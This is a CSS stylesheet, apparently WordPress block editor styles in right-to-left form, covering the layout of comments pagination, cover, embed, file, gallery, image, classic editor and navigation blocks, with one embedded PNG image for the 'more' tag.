.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{
  margin-right:0;
}

.wp-block-comments-pagination-numbers a{
  text-decoration:underline;
}
.wp-block-comments-pagination-numbers .page-numbers{
  margin-left:2px;
}
.wp-block-comments-pagination-numbers .page-numbers:last-child{
  margin-right:0;
}

.wp-block-comments-title.has-background{
  padding:inherit;
}

.wp-block-cover.is-placeholder{
  align-items:stretch;
  display:flex;
  min-height:240px;
  padding:0 !important;
}
.wp-block-cover.is-placeholder .components-placeholder.is-large{
  justify-content:flex-start;
  z-index:1;
}
.wp-block-cover.is-placeholder:focus:after{
  min-height:auto;
}
.wp-block-cover.components-placeholder h2{
  color:inherit;
}
.wp-block-cover.is-transient{
  position:relative;
}
.wp-block-cover.is-transient:before{
  background-color:#fff;
  content:"";
  height:100%;
  opacity:.3;
  position:absolute;
  width:100%;
  z-index:1;
}
.wp-block-cover.is-transient .wp-block-cover__inner-container{
  z-index:2;
}
.wp-block-cover .components-spinner{
  margin:0;
  position:absolute;
  right:50%;
  top:50%;
  transform:translate(50%, -50%);
}
.wp-block-cover .wp-block-cover__inner-container{
  margin-left:0;
  margin-right:0;
  text-align:right;
}
.wp-block-cover .wp-block-cover__placeholder-background-options{
  width:100%;
}
.wp-block-cover .wp-block-cover__image--placeholder-image{
  bottom:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
}

[data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{
  max-width:420px;
  width:100%;
}

.block-library-cover__reset-button{
  margin-right:auto;
}

.block-library-cover__resize-container{
  bottom:0;
  left:0;
  min-height:50px;
  position:absolute !important;
  right:0;
  top:0;
}

.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .block-library-cover__resize-container,.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .components-popover__content>div{
  overflow:visible;
  pointer-events:none;
}

.block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover{
  background-attachment:scroll;
}

.color-block-support-panel__inner-wrapper>:not(.block-editor-tools-panel-color-gradient-settings__item){
  margin-top:24px;
}

.wp-block-details summary div{
  display:inline;
}

.wp-block-embed{
  clear:both;
  margin-left:0;
  margin-right:0;
}
.wp-block-embed.is-loading{
  display:flex;
  justify-content:center;
}
.wp-block-embed .wp-block-embed__placeholder-input{
  flex:1 1 auto;
}
.wp-block-embed .components-placeholder__error{
  word-break:break-word;
}

.wp-block-post-content .wp-block-embed__learn-more a{
  color:var(--wp-admin-theme-color);
}

.block-library-embed__interactive-overlay{
  bottom:0;
  left:0;
  opacity:0;
  position:absolute;
  right:0;
  top:0;
}

.wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{
  max-width:360px;
  width:100%;
}
.wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{
  min-width:280px;
}

.wp-block-file{
  align-items:center;
  display:flex;
  flex-wrap:wrap;
  justify-content:space-between;
  margin-bottom:0;
}
.wp-block[data-align=left]>.wp-block-file,.wp-block[data-align=right]>.wp-block-file{
  height:auto;
}
.wp-block[data-align=center]>.wp-block-file{
  text-align:center;
}
.wp-block-file .components-resizable-box__container{
  margin-bottom:1em;
}
.wp-block-file .wp-block-file__preview{
  height:100%;
  margin-bottom:1em;
  width:100%;
}
.wp-block-file .wp-block-file__preview-overlay{
  bottom:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-file .wp-block-file__content-wrapper{
  flex-grow:1;
}
.wp-block-file a{
  min-width:1em;
}
.wp-block-file a:not(.wp-block-file__button){
  display:inline-block;
}
.wp-block-file .wp-block-file__button-richtext-wrapper{
  display:inline-block;
  margin-right:.75em;
}

.wp-block-form-input .is-input-hidden{
  background:repeating-linear-gradient(-45deg, #0000, #0000 5px, currentColor 0, currentColor 6px);
  border:1px dashed;
  box-sizing:border-box;
  font-size:.85em;
  opacity:.3;
  padding:.5em;
}
.wp-block-form-input .is-input-hidden input[type=text]{
  background:#0000;
}
.wp-block-form-input.is-selected .is-input-hidden{
  background:none;
  opacity:1;
}
.wp-block-form-input.is-selected .is-input-hidden input[type=text]{
  background:unset;
}

.wp-block-form-submission-notification>*{
  background:repeating-linear-gradient(-45deg, #0000, #0000 5px, currentColor 0, currentColor 6px);
  border:1px dashed;
  box-sizing:border-box;
  opacity:.25;
}
.wp-block-form-submission-notification.is-selected>*,.wp-block-form-submission-notification:has(.is-selected)>*{
  background:none;
  opacity:1;
}
.wp-block-form-submission-notification.is-selected:after,.wp-block-form-submission-notification:has(.is-selected):after{
  display:none !important;
}
.wp-block-form-submission-notification:after{
  align-items:center;
  display:flex;
  font-size:1.1em;
  height:100%;
  justify-content:center;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}
.wp-block-form-submission-notification.form-notification-type-success:after{
  content:attr(data-message-success);
}
.wp-block-form-submission-notification.form-notification-type-error:after{
  content:attr(data-message-error);
}

.wp-block-freeform.block-library-rich-text__tinymce{
  height:auto;
}
.wp-block-freeform.block-library-rich-text__tinymce li,.wp-block-freeform.block-library-rich-text__tinymce p{
  line-height:1.8;
}
.wp-block-freeform.block-library-rich-text__tinymce ol,.wp-block-freeform.block-library-rich-text__tinymce ul{
  margin-right:0;
  padding-right:2.5em;
}
.wp-block-freeform.block-library-rich-text__tinymce blockquote{
  border-right:4px solid #000;
  box-shadow:inset 0 0 0 0 #ddd;
  margin:0;
  padding-right:1em;
}
.wp-block-freeform.block-library-rich-text__tinymce pre{
  color:#1e1e1e;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:15px;
  white-space:pre-wrap;
}
.wp-block-freeform.block-library-rich-text__tinymce>:first-child{
  margin-top:0;
}
.wp-block-freeform.block-library-rich-text__tinymce>:last-child{
  margin-bottom:0;
}
.wp-block-freeform.block-library-rich-text__tinymce.mce-edit-focus{
  outline:none;
}
.wp-block-freeform.block-library-rich-text__tinymce a{
  color:var(--wp-admin-theme-color);
}
.wp-block-freeform.block-library-rich-text__tinymce:focus a[data-mce-selected]{
  background:#e5f5fa;
  border-radius:2px;
  box-shadow:0 0 0 1px #e5f5fa;
  margin:0 -2px;
  padding:0 2px;
}
.wp-block-freeform.block-library-rich-text__tinymce code{
  background:#f0f0f0;
  border-radius:2px;
  color:#1e1e1e;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:14px;
  padding:2px;
}
.wp-block-freeform.block-library-rich-text__tinymce:focus code[data-mce-selected]{
  background:#ddd;
}
.wp-block-freeform.block-library-rich-text__tinymce .alignright{
  float:right;
  margin:.5em 0 .5em 1em;
}
.wp-block-freeform.block-library-rich-text__tinymce .alignleft{
  float:left;
  margin:.5em 1em .5em 0;
}
.wp-block-freeform.block-library-rich-text__tinymce .aligncenter{
  display:block;
  margin-left:auto;
  margin-right:auto;
}
.wp-block-freeform.block-library-rich-text__tinymce .wp-more-tag{
  background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAADtgAAAAoBAMAAAA86gLBAAAAJFBMVEVMaXG7u7vBwcHDw8POzs68vLzGxsbMzMy+vr7AwMDQ0NDGxsYKLGzpAAAADHRSTlMA///zWf+/f///TMxNVGuqAAABwklEQVR4Ae3dMXLaQBTH4bfj8UCpx8hq0vgKvgFNemhT6Qo6gg6R+0ZahM2QLmyBJ99XWP9V5+o3jIUcLQEAAAAAAAAAAAAAAAAAAAAAAABQ8j0WL9lfTtlt18uNXAUA8O/KVtfa1tdcrOdSh9gCQAMlh1hMNbZZ1bsrsQWABsrhLRbz7z5in/32UbfUMUbkMQCAh5RfGYv82UdMdZ6HS2wjT2ILAI8r3XmM2B3WvM59vfO2xXYW2yYAENuPU8S+X/N67mKxzy225yaxBQCxLV392UdcvwV0jPVUj98ntkBWT7C7+9u2/V/vGtvXIWJ6/4rtbottWa6Ri0NUT/u72LYttrb97LHdvUXMxxrb8TO2W2TF1rYbbLG1bbGNjMi4+2Sbi1FsbbvNFlvbFtt5fDnE3d9sP1/XeIyV2Nr2U2/guZUuptNrH/dPI9eLB6SaAEBs6wPJf3/PNk9tYgsAYrv/8TFuzx/fvkFqGtrEFgDEdpcZUb7ejXy6ntrEFgDENvL6gsas4vbdyKt4DACI7TxElJv/Z7udpqFNbAFAbKduy2uU2trttM/x28UWAAAAAAAAAAAAAAAAAAAAAAAAAADgDyPwGmGTCZp7AAAAAElFTkSuQmCC);
  background-position:50%;
  background-repeat:no-repeat;
  background-size:1900px 20px;
  cursor:default;
  display:block;
  height:20px;
  margin:15px auto;
  outline:0;
  width:96%;
}
.wp-block-freeform.block-library-rich-text__tinymce img::selection{
  background-color:initial;
}
.wp-block-freeform.block-library-rich-text__tinymce div.mceTemp{
  -ms-user-select:element;
}
.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption{
  margin:0;
  max-width:100%;
}
.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption a,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption img{
  display:block;
}
.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption *{
  -webkit-user-drag:none;
}
.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption .wp-caption-dd{
  margin:0;
  padding-top:.5em;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview{
  border:1px solid #0000;
  clear:both;
  margin-bottom:16px;
  position:relative;
  width:99.99%;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview iframe{
  background:#0000;
  display:block;
  max-width:100%;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .mce-shim{
  bottom:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected="2"] .mce-shim{
  display:none;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .loading-placeholder{
  border:1px dashed #ddd;
  padding:10px;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error{
  border:1px solid #ddd;
  margin:0;
  padding:1em 0;
  word-wrap:break-word;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error p{
  margin:0;
  text-align:center;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .loading-placeholder,.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .wpview-error{
  border-color:#0000;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .dashicons{
  display:block;
  font-size:32px;
  height:32px;
  margin:0 auto;
  width:32px;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview.wpview-type-gallery:after{
  clear:both;
  content:"";
  display:table;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery img[data-mce-selected]:focus{
  outline:none;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery a{
  cursor:default;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery{
  line-height:1;
  margin:auto -6px;
  overflow-x:hidden;
  padding:6px 0;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-item{
  box-sizing:border-box;
  float:right;
  margin:0;
  padding:6px;
  text-align:center;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption,.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-icon{
  margin:0;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption{
  font-size:13px;
  margin:4px 0;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-1 .gallery-item{
  width:100%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-2 .gallery-item{
  width:50%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-3 .gallery-item{
  width:33.3333333333%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-4 .gallery-item{
  width:25%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-5 .gallery-item{
  width:20%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-6 .gallery-item{
  width:16.6666666667%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-7 .gallery-item{
  width:14.2857142857%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-8 .gallery-item{
  width:12.5%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-9 .gallery-item{
  width:11.1111111111%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery img{
  border:none;
  height:auto;
  max-width:100%;
  padding:0;
}

div[data-type="core/freeform"]:before{
  border:1px solid #ddd;
  outline:1px solid #0000;
}
@media not (prefers-reduced-motion){
  div[data-type="core/freeform"]:before{
    transition:border-color .1s linear,box-shadow .1s linear;
  }
}
div[data-type="core/freeform"].is-selected:before{
  border-color:#1e1e1e;
}
div[data-type="core/freeform"] .block-editor-block-contextual-toolbar+div{
  margin-top:0;
  padding-top:0;
}
div[data-type="core/freeform"].is-selected .block-library-rich-text__tinymce:after{
  clear:both;
  content:"";
  display:table;
}

.mce-toolbar-grp .mce-btn.mce-active button,.mce-toolbar-grp .mce-btn.mce-active i,.mce-toolbar-grp .mce-btn.mce-active:hover button,.mce-toolbar-grp .mce-btn.mce-active:hover i{
  color:#1e1e1e;
}
.mce-toolbar-grp .mce-rtl .mce-flow-layout-item.mce-last{
  margin-left:0;
  margin-right:8px;
}
.mce-toolbar-grp .mce-btn i{
  font-style:normal;
}

.block-library-classic__toolbar{
  border:1px solid #ddd;
  border-bottom:none;
  border-radius:2px;
  display:none;
  margin:0 0 8px;
  padding:0;
  position:sticky;
  top:0;
  width:auto;
  z-index:31;
}
div[data-type="core/freeform"].is-selected .block-library-classic__toolbar{
  border-color:#1e1e1e;
  display:block;
}
.block-library-classic__toolbar .mce-tinymce{
  box-shadow:none;
}
@media (min-width:600px){
  .block-library-classic__toolbar{
    padding:0;
  }
}
.block-library-classic__toolbar:empty{
  background:#f5f5f5;
  border-bottom:1px solid #e2e4e7;
  display:block;
}
.block-library-classic__toolbar:empty:before{
  color:#555d66;
  content:attr(data-placeholder);
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  line-height:37px;
  padding:14px;
}
.block-library-classic__toolbar div.mce-toolbar-grp{
  border-bottom:1px solid #1e1e1e;
}
.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar .mce-menubar>div,.block-library-classic__toolbar .mce-tinymce-inline,.block-library-classic__toolbar .mce-tinymce-inline>div,.block-library-classic__toolbar div.mce-toolbar-grp,.block-library-classic__toolbar div.mce-toolbar-grp>div{
  height:auto !important;
  width:100% !important;
}
.block-library-classic__toolbar .mce-container-body.mce-abs-layout{
  overflow:visible;
}
.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar div.mce-toolbar-grp{
  position:static;
}
.block-library-classic__toolbar .mce-toolbar-grp>div{
  padding:1px 3px;
}
.block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child){
  display:none;
}
.block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar{
  display:block;
}

.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{
  height:50vh !important;
}
@media (min-width:960px){
  .block-editor-freeform-modal .block-editor-freeform-modal__content:not(.is-full-screen){
    height:9999rem;
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .components-modal__header+div{
    height:100%;
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-tinymce{
    height:calc(100% - 52px);
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-container-body{
    display:flex;
    flex-direction:column;
    height:100%;
    min-width:50vw;
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area{
    display:flex;
    flex-direction:column;
    flex-grow:1;
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{
    flex-grow:1;
    height:10px !important;
  }
}
.block-editor-freeform-modal__actions{
  margin-top:16px;
}

:root :where(figure.wp-block-gallery){
  display:block;
}
:root :where(figure.wp-block-gallery)>.blocks-gallery-caption{
  flex:0 0 100%;
}
:root :where(figure.wp-block-gallery)>.blocks-gallery-media-placeholder-wrapper{
  flex-basis:100%;
}
:root :where(figure.wp-block-gallery) .wp-block-image .components-notice.is-error{
  display:block;
}
:root :where(figure.wp-block-gallery) .wp-block-image .components-notice__content{
  margin:4px 0;
}
:root :where(figure.wp-block-gallery) .wp-block-image .components-notice__dismiss{
  left:5px;
  position:absolute;
  top:0;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .components-placeholder__label{
  display:none;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button{
  margin-bottom:0;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder{
  margin:0;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder .components-placeholder__label{
  display:flex;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder figcaption{
  z-index:2;
}
:root :where(figure.wp-block-gallery) .components-spinner{
  margin-right:-9px;
  margin-top:-9px;
  position:absolute;
  right:50%;
  top:50%;
}
.gallery-settings-buttons .components-button:first-child{
  margin-left:8px;
}

.gallery-image-sizes .components-base-control__label{
  margin-bottom:4px;
}
.gallery-image-sizes .gallery-image-sizes__loading{
  align-items:center;
  color:#757575;
  display:flex;
  font-size:12px;
}
.gallery-image-sizes .components-spinner{
  margin:0 4px 0 8px;
}
.blocks-gallery-item figure:not(.is-selected):focus,.blocks-gallery-item img:focus{
  outline:none;
}
.blocks-gallery-item figure.is-selected:before{
  bottom:0;
  box-shadow:0 0 0 1px #fff inset, 0 0 0 3px var(--wp-admin-theme-color) inset;
  content:"";
  left:0;
  outline:2px solid #0000;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}
.blocks-gallery-item figure.is-transient img{
  opacity:.3;
}
.blocks-gallery-item .block-editor-media-placeholder{
  height:100%;
  margin:0;
}
.blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label{
  display:flex;
}

.wp-block-gallery ul.blocks-gallery-grid{
  margin:0;
  padding:0;
}

@media (min-width:600px){
  .wp-block-update-gallery-modal{
    max-width:480px;
  }
}

.wp-block-update-gallery-modal-buttons{
  display:flex;
  gap:12px;
  justify-content:flex-end;
}
.wp-block-group .block-editor-block-list__insertion-point{
  left:0;
  right:0;
}

[data-type="core/group"].is-selected .block-list-appender{
  margin-left:0;
  margin-right:0;
}
[data-type="core/group"].is-selected .has-background .block-list-appender{
  margin-bottom:18px;
  margin-top:18px;
}

.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child{
  gap:inherit;
  pointer-events:none;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-default-block-appender__content,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{
  display:inherit;
  flex:1;
  flex-direction:inherit;
  width:100%;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after{
  border:1px dashed;
  content:"";
  display:flex;
  flex:1 0 40px;
  min-height:38px;
  pointer-events:none;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-button-block-appender,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{
  pointer-events:all;
}

.block-library-html__edit .block-library-html__preview-overlay{
  height:100%;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}
.block-library-html__edit .block-editor-plain-text{
  background:#fff !important;
  border:1px solid #1e1e1e !important;
  border-radius:2px !important;
  box-shadow:none !important;
  box-sizing:border-box;
  color:#1e1e1e !important;
  direction:ltr;
  font-family:Menlo,Consolas,monaco,monospace !important;
  font-size:16px !important;
  max-height:250px;
  padding:12px !important;
}
@media (min-width:600px){
  .block-library-html__edit .block-editor-plain-text{
    font-size:13px !important;
  }
}
.block-library-html__edit .block-editor-plain-text:focus{
  border-color:var(--wp-admin-theme-color) !important;
  box-shadow:0 0 0 1px var(--wp-admin-theme-color) !important;
  outline:2px solid #0000 !important;
}

.wp-block-image.wp-block-image .block-editor-media-placeholder.is-small{
  min-height:60px;
}

figure.wp-block-image:not(.wp-block){
  margin:0;
}

.wp-block-image{
  position:relative;
}
.wp-block-image .is-applying img,.wp-block-image.is-transient img{
  opacity:.3;
}
.wp-block-image figcaption img{
  display:inline;
}
.wp-block-image .components-spinner{
  margin:0;
  position:absolute;
  right:50%;
  top:50%;
  transform:translate(50%, -50%);
}

.wp-block-image__placeholder{
  aspect-ratio:4/3;
}
.wp-block-image__placeholder.has-illustration:before{
  background:#fff;
  opacity:.8;
}
.wp-block-image__placeholder .components-placeholder__illustration{
  opacity:.1;
}

.wp-block-image .components-resizable-box__container{
  display:table;
}
.wp-block-image .components-resizable-box__container img{
  display:block;
  height:inherit;
  width:inherit;
}

.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{
  left:0;
  margin:-1px 0;
  position:absolute;
  right:0;
}
@media (min-width:600px){
  .block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{
    margin:-1px;
  }
}

[data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{
  height:auto;
  width:100%;
}

.wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{
  display:table;
}
.wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{
  caption-side:bottom;
  display:table-caption;
}

.wp-block[data-align=left]>.wp-block-image{
  margin:.5em 0 .5em 1em;
}

.wp-block[data-align=right]>.wp-block-image{
  margin:.5em 1em .5em 0;
}

.wp-block[data-align=center]>.wp-block-image{
  margin-left:auto;
  margin-right:auto;
  text-align:center;
}

.wp-block[data-align]:has(>.wp-block-image){
  position:relative;
}

.wp-block-image__crop-area{
  max-width:100%;
  overflow:hidden;
  position:relative;
  width:100%;
}
.wp-block-image__crop-area .reactEasyCrop_Container{
  pointer-events:auto;
}
.wp-block-image__crop-area .reactEasyCrop_Container .reactEasyCrop_Image{
  border:none;
  border-radius:0;
}

.wp-block-image__crop-icon{
  align-items:center;
  display:flex;
  justify-content:center;
  min-width:48px;
  padding:0 8px;
}
.wp-block-image__crop-icon svg{
  fill:currentColor;
}

.wp-block-image__zoom .components-popover__content{
  min-width:260px;
  overflow:visible !important;
}

.wp-block-image__toolbar_content_textarea__container{
  padding:8px;
}

.wp-block-image__toolbar_content_textarea{
  width:250px;
}

.wp-block-latest-posts>li{
  overflow:hidden;
}

.wp-block-latest-posts li a>div{
  display:inline;
}

:root :where(.wp-block-latest-posts){
  padding-right:2.5em;
}

:root :where(.wp-block-latest-posts.is-grid),:root :where(.wp-block-latest-posts__list){
  padding-right:0;
}

.wp-block-media-text__media{
  position:relative;
}
.wp-block-media-text__media.is-transient img{
  opacity:.3;
}
.wp-block-media-text__media .components-spinner{
  margin-right:-9px;
  margin-top:-9px;
  position:absolute;
  right:50%;
  top:50%;
}

.wp-block-media-text .__resizable_base__{
  grid-column:1 / span 2;
  grid-row:2;
}

.wp-block-media-text .editor-media-container__resizer{
  width:100% !important;
}

.wp-block-media-text.is-image-fill .components-placeholder.has-illustration,.wp-block-media-text.is-image-fill .editor-media-container__resizer,.wp-block-media-text.is-image-fill-element .components-placeholder.has-illustration,.wp-block-media-text.is-image-fill-element .editor-media-container__resizer{
  height:100% !important;
}

.wp-block-media-text>.block-editor-block-list__layout>.block-editor-block-list__block{
  max-width:unset;
}
.wp-block-media-text--placeholder-image{
  min-height:205px;
}

.block-editor-block-list__block[data-type="core/more"]{
  margin-bottom:28px;
  margin-top:28px;
  max-width:100%;
  text-align:center;
}

.wp-block-more{
  display:block;
  text-align:center;
  white-space:nowrap;
}
.wp-block-more input[type=text]{
  background:#fff;
  border:none;
  border-radius:4px;
  box-shadow:none;
  color:#757575;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  font-weight:600;
  height:24px;
  margin:0;
  max-width:100%;
  padding:6px 8px;
  position:relative;
  text-align:center;
  text-transform:uppercase;
  white-space:nowrap;
}
.wp-block-more input[type=text]:focus{
  box-shadow:none;
}
.wp-block-more:before{
  border-top:3px dashed #ccc;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:50%;
}
.editor-styles-wrapper .wp-block-navigation ul{
  margin-bottom:0;
  margin-right:0;
  margin-top:0;
  padding-right:0;
}
.editor-styles-wrapper .wp-block-navigation .wp-block-navigation-item.wp-block{
  margin:revert;
}

.wp-block-navigation-item__label{
  display:inline;
}
.wp-block-navigation-item,.wp-block-navigation__container{
  background-color:inherit;
}

.wp-block-navigation:not(.is-selected):not(.has-child-selected) .has-child:hover>.wp-block-navigation__submenu-container{
  opacity:0;
  visibility:hidden;
}

.has-child.has-child-selected>.wp-block-navigation__submenu-container,.has-child.is-selected>.wp-block-navigation__submenu-container{
  display:flex;
  opacity:1;
  visibility:visible;
}

.is-dragging-components-draggable .has-child.is-dragging-within>.wp-block-navigation__submenu-container{
  opacity:1;
  visibility:visible;
}

.is-editing>.wp-block-navigation__container{
  display:flex;
  flex-direction:column;
  opacity:1;
  visibility:visible;
}

.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container{
  opacity:1;
  visibility:hidden;
}
.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container .block-editor-block-draggable-chip-wrapper{
  visibility:visible;
}

.is-editing>.wp-block-navigation__submenu-container>.block-list-appender{
  display:block;
  position:static;
  width:100%;
}
.is-editing>.wp-block-navigation__submenu-container>.block-list-appender .block-editor-button-block-appender{
  background:#1e1e1e;
  color:#fff;
  margin-left:0;
  margin-right:auto;
  padding:0;
  width:24px;
}

.wp-block-navigation__submenu-container .block-list-appender{
  display:none;
}
.block-library-colors-selector{
  width:auto;
}
.block-library-colors-selector .block-library-colors-selector__toggle{
  display:block;
  margin:0 auto;
  padding:3px;
  width:auto;
}
.block-library-colors-selector .block-library-colors-selector__icon-container{
  align-items:center;
  border-radius:4px;
  display:flex;
  height:30px;
  margin:0 auto;
  padding:3px;
  position:relative;
}
.block-library-colors-selector .block-library-colors-selector__state-selection{
  border-radius:11px;
  box-shadow:inset 0 0 0 1px #0003;
  height:22px;
  line-height:20px;
  margin-left:auto;
  margin-right:auto;
  min-height:22px;
  min-width:22px;
  padding:2px;
  width:22px;
}
.block-library-colors-selector .block-library-colors-selector__state-selection>svg{
  min-width:auto !important;
}
.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg,.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg path{
  color:inherit;
}

.block-library-colors-selector__popover .color-palette-controller-container{
  padding:16px;
}
.block-library-colors-selector__popover .components-base-control__label{
  height:20px;
  line-height:20px;
}
.block-library-colors-selector__popover .component-color-indicator{
  float:left;
  margin-top:2px;
}
.block-library-colors-selector__popover .components-panel__body-title{
  display:none;
}

.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender{
  background-color:#1e1e1e;
  color:#fff;
  height:24px;
}
.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender.block-editor-button-block-appender.block-editor-button-block-appender{
  padding:0;
}

.wp-block-navigation .wp-block .wp-block .block-editor-button-block-appender{
  background-color:initial;
  color:#1e1e1e;
}
@keyframes loadingpulse{
  0%{
    opacity:1;
  }
  50%{
    opacity:.5;
  }
  to{
    opacity:1;
  }
}
.components-placeholder.wp-block-navigation-placeholder{
  background:none;
  box-shadow:none;
  color:inherit;
  min-height:0;
  outline:none;
  padding:0;
}
.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset{
  font-size:inherit;
}
.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset .components-button{
  margin-bottom:0;
}
.wp-block-navigation.is-selected .components-placeholder.wp-block-navigation-placeholder{
  color:#1e1e1e;
}

.wp-block-navigation-placeholder__preview{
  align-items:center;
  background:#0000;
  color:currentColor;
  display:flex;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  min-width:96px;
}
.wp-block-navigation.is-selected .wp-block-navigation-placeholder__preview{
  display:none;
}
.wp-block-navigation-placeholder__preview:before{
  border:1px dashed;
  border-radius:inherit;
  bottom:0;
  content:"";
  display:block;
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-navigation-placeholder__preview>svg{
  fill:currentColor;
}

.wp-block-navigation.is-vertical .is-medium .components-placeholder__fieldset,.wp-block-navigation.is-vertical .is-small .components-placeholder__fieldset{
  min-height:90px;
}

.wp-block-navigation.is-vertical .is-large .components-placeholder__fieldset{
  min-height:132px;
}

.wp-block-navigation-placeholder__controls,.wp-block-navigation-placeholder__preview{
  align-items:flex-start;
  flex-direction:row;
  padding:6px 8px;
}

.wp-block-navigation-placeholder__controls{
  background-color:#fff;
  border-radius:2px;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  display:none;
  float:right;
  position:relative;
  width:100%;
  z-index:1;
}
.wp-block-navigation.is-selected .wp-block-navigation-placeholder__controls{
  display:flex;
}
